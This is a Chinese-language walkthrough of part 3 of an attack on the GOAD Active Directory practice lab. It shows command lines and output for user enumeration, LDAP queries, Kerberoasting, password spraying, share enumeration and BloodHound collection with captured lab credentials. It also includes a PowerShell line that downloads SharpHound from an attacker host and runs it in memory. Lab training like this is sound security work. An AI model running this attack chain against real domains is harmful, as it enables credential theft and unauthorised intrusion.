第三部分繼續枚舉一些用戶,利用之前獲取到的憑證看是否能繼續收集到一些信息。
vagrant up啟動休眠的機器
當你在活動目錄上獲得一個帳戶時,首先要做的總是獲取完整的用戶列表。
一旦獲取到用戶列表,你可以對所有用戶進行密碼噴灑(通常你會發現其他帳戶使用弱密碼,如用戶名即密碼、季節年份組合、社團名稱年份組合,甚至可能是 123456)。
在 part2 中,得到了 brandon.stark帳號密碼,
python3 GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Querying north.sevenkingdoms.local for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2024-01-17 20:24:06.650023 2024-01-18 00:15:11.751714
Guest <never> <never>
vagrant 2021-05-12 19:38:55.922520 2024-01-18 00:33:15.469101
krbtgt 2024-01-17 20:59:48.450235 <never>
2024-07-11 21:23:44.436491 <never>
arya.stark 2024-01-18 00:06:14.609612 2024-05-05 16:39:43.450938
eddard.stark 2024-01-18 00:06:24.165912 2024-07-21 14:07:26.720083
catelyn.stark 2024-01-18 00:06:31.753050 <never>
robb.stark 2024-01-18 00:06:39.977381 2024-07-21 14:08:30.539586
sansa.stark 2024-01-18 00:06:48.632812 <never>
brandon.stark 2024-01-18 00:06:56.360121 2024-07-11 22:59:04.257694
rickon.stark 2024-01-18 00:07:03.163738 <never>
hodor 2024-01-18 00:07:08.330623 <never>
jon.snow 2024-01-18 00:07:14.009106 <never>
samwell.tarly 2024-01-18 00:07:20.334394 2024-07-11 23:17:33.390596
jeor.mormont 2024-01-18 00:07:26.125439 <never>
sql_svc 2024-01-18 00:07:30.994621 2024-05-05 15:22:57.352040
LDAP 查詢#
LDAP 是一種目錄服務協議,它提供了一種連接、搜索和修改目錄的機制。
在 north.sevenkingdoms.local 上使用 ldap 查詢
#安裝ldap
sudo apt install ldap-utils
#ldap查詢,查找類別為person且類為user的所有對象
ldapsearch -H ldap://192.168.56.11 -D "[email protected]" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'
通過 LDAP 查詢也可以查詢到用戶信息,各域間存在信任關係,所以通過 LDAP 也可以查詢其他域中的用戶。
sevenkingdoms.local
ldapsearch -H ldap://192.168.56.10 -D "[email protected]" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep "distinguishedName"
essos.local
在 essos.local 查詢,報如下信息:無效的憑證,應該是兩者之間沒有信任關係導致的。
LDAP 查詢參考:https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/
Kerberoasting#
從 Active Directory 中獲取用戶的服務主體名稱 (Service Principal Names, SPNs),並請求相應的 Kerberos 服務票據,這個過程被稱為 Kerberoasting。
python3 GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes
所有的 hash 保存到 kerberoasting.hashes 文件中
整體流程:
1、認證:
腳本使用提供的憑據(用戶名和密碼)連接到指定的域控制器 (192.168.56.11
)。
2、枚舉 SPNs:
腳本查詢 Active Directory,枚舉所有具有 SPNs 的用戶。這些 SPNs 通常用於 Kerberos 身份驗證的服務帳戶。
3、請求服務票據:
根據枚舉到的 SPNs,腳本請求相應的 Kerberos 服務票據 (TGS)。這些票據包含加密的服務帳戶密碼哈希。
4、保存票據:
請求到的 Kerberos 服務票據的哈希值會被保存到指定的輸出文件 (kerberoasting.hashes
) 中。
也可以用 cme 去獲取
crackmapexec ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING
嘗試使用 hashcat 破解密碼
得到個帳號密碼:jon.snow
共享目錄枚舉#
crackmapexec smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares
192.168.56.22 共享目錄
dns 枚舉#
工具:https://github.com/dirkjanm/adidnsdump
安裝:
pip3 install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump
Bloodhound#
接下來使用 Bloodhound 分析域內的環境,攻擊者必須在目標上運行一個collector
,它將枚舉有關域的大量信息。collector
運行完成後,它將輸出一系列 .json
文件,供導入到攻擊者的 Bloodhound 界面中。
BloodHound.py 數據收集器#
用下面的 python 腳本採集數據
採集 north.sevenkingdoms.local 上的數據
python3 bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local -ns 192.168.56.10
注:需要指定 dns,如果不指定就會報如下錯誤,查看了 BloodHound.py 的官網,很多人都出現了這個錯誤
同樣的,從其他幾個域中收集數據
kingslanding.sevenkingdoms.local
python3 bloodhound.py --zip -c All -d sevenkingdoms.local -u [email protected] -p iseedeadpeople -dc kingslanding.sevenkingdoms.local -ns 192.168.56.10
meereen.essos.local
python3 bloodhound.py --zip -c All -d essos.local -u [email protected] -p iseedeadpeople -dc meereen.essos.local -ns 192.168.56.10
通過 BloodHound 收集了三個域的信息
注:不過,觀察 GitHub 上的項目我們可以發現,Python 版本的數據收集工具雖然功能強大,但與 .NET 版本相比仍有不足。具體來說,它支持大部分的 BloodHound(SharpHound)功能,但並不是全部,尤其是缺少了一些基於組策略對象(GPO)的收集方法。
sharphound.exe 數據收集器#
同樣的,通過 sharphound.exe windows 版本重新採集一遍
項目地址:https://github.com/BloodHoundAD/SharpHound
遠程桌面連接到域內機器
sudo apt install freerdp2-x11
xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore +clipboard /drive:tmp,/tmp
.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip
也可以用 powershell 在內存中運行 sharpblood
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())
啟動 bloodhound#
用 kali 啟動 bloodhound,導入 bloodhound-python 收集的信息,sharphound 導出的信息無法導入到 bloodhound 中,可能和版本有關係,之前打春秋雲鏡靶場的時候遇到同樣的問題,無法導入 sharphound 收集的內容。
顯示所有的域和計算機
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p
顯示所有的用戶
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p
查看域 / 組 / 用戶的整體地圖
MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q
查看用戶的 acl
MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p
參考#
https://mayfly277.github.io/posts/GOADv2-pwning-part3/
https://github.com/BloodHoundAD/SharpHound/releases
https://github.com/dirkjanm/BloodHound.py
https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/